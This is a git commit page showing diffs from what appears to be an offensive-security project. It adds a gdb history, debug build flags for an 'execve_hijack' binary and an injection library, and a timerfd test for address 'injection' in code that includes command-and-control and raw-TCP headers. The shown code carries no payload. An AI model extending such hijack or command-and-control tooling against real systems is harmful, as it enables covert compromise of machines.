Added extraction of original jump instruction and opcodes

This commit is contained in:
h3xduck
2022-03-15 18:36:59 -04:00
parent 0c88d5baa9
commit 671e2d671d
18 changed files with 5736 additions and 1630 deletions

4
src/helpers/.gdb_history Normal file
View File

@@ -0,0 +1,4 @@
disass main
checksec bof
checksec
quit

View File

@@ -9,10 +9,10 @@ injection_lib: injection_lib.o
gcc -Wall -shared -fPIC -o injection_lib.so injection_lib.c -ldl
execve_hijack.o: execve_hijack.c $(HEADERS)
clang -c execve_hijack.c
clang -g -c execve_hijack.c
execve_hijack: execve_hijack.o lib/libRawTCP_Lib.a
clang -lm -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
clang -lm -g -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
clean:
-rm -f execve_hijack.o

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -16,11 +16,36 @@
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <dlfcn.h>
#include <sys/timerfd.h>
#include "lib/RawTCP.h"
#include "../common/c&c.h"
int test_time_values_injection(){
struct itimerspec new_value;
int max_exp, fd;
struct timespec now;
uint64_t exp, tot_exp;
ssize_t s;
fd = timerfd_create(CLOCK_REALTIME, 0);
if (fd == -1)
return -1;
new_value.it_interval.tv_sec = 30;
new_value.it_interval.tv_nsec = 0;
if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1)
return -1;
printf("Timer %i started, address sent %llx\n", fd, (__u64)&new_value);
return 0;
}
char* execute_command(char* command){
FILE *fp;
@@ -72,6 +97,8 @@ int main(int argc, char* argv[], char *envp[]){
printf("Argument %i is %s\n", ii, argv[ii]);
}
test_time_values_injection();
time_t rawtime;
struct tm * timeinfo;

Binary file not shown.